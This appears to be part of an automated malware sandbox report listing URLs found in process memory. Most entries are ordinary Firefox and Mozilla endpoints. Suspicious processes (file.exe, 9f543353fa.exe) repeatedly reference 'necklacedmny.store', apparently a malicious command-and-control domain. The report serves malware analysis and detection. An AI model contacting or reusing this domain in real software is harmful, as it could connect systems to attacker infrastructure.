Source: firefox.exe, 0000001D.00000002.3220751021.0000012DBDC09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 0000001D.00000002.3222303134.0000012DBDF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001D.00000002.3222303134.0000012DBDF11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://basket.mozilla.org/news/subscribe/
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://basket.mozilla.org/news/subscribe_sms/
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://basket.mozilla.org/subscribe.json
Source: file.exe, 00000000.00000003.2221290526.000000000541A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239639586.000000000541A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2217061104.0000000005419000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo
Source: file.exe, 00000000.00000003.2201875010.000000000541C000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2916110469.00000000051B7000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3052085445.0000000000714000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3231539375.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3229081935.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3245303742.0000012DCA393000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: 9f543353fa.exe, 0000000B.00000003.2916110469.00000000051B7000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3052085445.0000000000714000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3231539375.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3229081935.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3245303742.0000012DCA393000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB24D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: file.exe, 00000000.00000003.2172864736.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172812609.000000000544B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172960842.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885253174.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885151286.00000000051EA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885483661.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3012936504.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3146249606.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3144082337.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3130833181.000000000573E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2172864736.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172812609.000000000544B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172960842.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885253174.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885151286.00000000051EA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885483661.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3012936504.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3146249606.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3144082337.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3130833181.000000000573E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2172864736.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172812609.000000000544B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172960842.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885253174.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885151286.00000000051EA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885483661.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3012936504.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3146249606.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3144082337.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3130833181.000000000573E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001D.00000003.3100848381.0000012DCDF52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3089248329.0000012DCDF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3099604044.0000012DCDF31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: file.exe, 00000000.00000003.2201875010.000000000541C000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2916110469.00000000051B7000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3052085445.0000000000714000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3231539375.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3229081935.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3245303742.0000012DCA393000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000003.2201875010.000000000541C000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2916110469.00000000051B7000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3052085445.0000000000714000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3231539375.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3229081935.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3245303742.0000012DCA393000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001D.00000002.3222303134.0000012DBDF11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3222303134.0000012DBDF30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001D.00000003.3171564466.0000012DD1EB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001D.00000003.3171564466.0000012DD1EB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: 26972fc2ff.exe, 0000000C.00000002.2976877638.000000000061C000.00000040.00000001.01000000.0000000F.sdmp, 26972fc2ff.exe, 0000000C.00000003.2936121608.000000000507B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001D.00000003.3100848381.0000012DCDF52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3089248329.0000012DCDF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3099604044.0000012DCDF31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.2172864736.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172812609.000000000544B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172960842.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885253174.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885151286.00000000051EA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885483661.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3012936504.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3146249606.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3144082337.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3130833181.000000000573E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2172864736.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172812609.000000000544B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172960842.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885253174.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885151286.00000000051EA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885483661.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3012936504.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3146249606.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3144082337.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3130833181.000000000573E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2172864736.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172812609.000000000544B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172960842.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885253174.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885151286.00000000051EA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885483661.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3012936504.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3146249606.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3144082337.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3130833181.000000000573E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://ebay.com
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://fb.me/react-polyfillsO
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://fb.me/react-polyfillsP
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://fb.me/react-polyfillsPO
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/browser/components/newtab/content-src/asrouter/docs/debuggin
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/nimbus-desktop-experiments
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsi
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i#
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB24D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://getpocket.com/
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://getpocket.com/a4
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://getpocket.com/collections
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://getpocket.com/explore/
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://getpocket.com/read/$
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001D.00000003.3171564466.0000012DD1EB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001D.00000003.3089248329.0000012DCDF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3099604044.0000012DCDF31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://github.com/projectfluent/fluent.js/wiki/React-Overlays.
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://help.getpocket.com/article/1142-firefox-new-tab-recommendations-faq
Source: firefox.exe, 0000001D.00000002.3222303134.0000012DBDF11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881a
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/7
Source: firefox.exe, 0000001D.00000002.3245303742.0000012DCA393000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB24D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB24D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB2A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest5
Source: firefox.exe, 0000001D.00000002.3222303134.0000012DBDF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://mozilla.org/W
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: file.exe, 00000000.00000003.2217076402.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220806281.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220039343.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219610769.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235038822.0000000000B44000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220582846.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2221060387.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 9f543353fa.exe, 0000000B.00000003.2937357144.00000000007CC000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2914322707.00000000051B9000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2934323523.00000000007C3000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2913340103.00000000051B8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2913758160.00000000051B8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3026656375.0000000005296000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3087572028.0000000000716000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3179049095.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3099418358.0000000000721000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3089109792.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3026524027.0000000005290000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3052085445.0000000000714000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3179823409.000000000070D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: 9f543353fa.exe, 00000011.00000003.3229602346.000000000118E000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3233279976.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/)
Source: 9f543353fa.exe, 0000000D.00000003.3115087959.000000000070D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/7
Source: 9f543353fa.exe, 0000000B.00000003.2900551720.00000000007C3000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2901402493.00000000007C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/99
Source: file.exe, 00000000.00000003.2217076402.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/;;
Source: 9f543353fa.exe, 00000011.00000003.3262778019.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/A
Source: file.exe, 00000000.00000003.2239692057.0000000000B59000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2246137788.0000000000B58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/I)J
Source: 9f543353fa.exe, 00000011.00000003.3188972107.0000000001197000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3177435187.0000000001197000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3213207285.0000000001194000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3210068211.0000000001194000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3206513157.0000000001191000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3203259630.000000000118E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/Q
Source: 9f543353fa.exe, 0000000D.00000003.3179049095.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3179823409.000000000070D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/_
Source: 9f543353fa.exe, 00000011.00000003.3229602346.000000000118E000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3213207285.0000000001194000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3210068211.0000000001194000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3206513157.0000000001191000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3203259630.000000000118E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/a
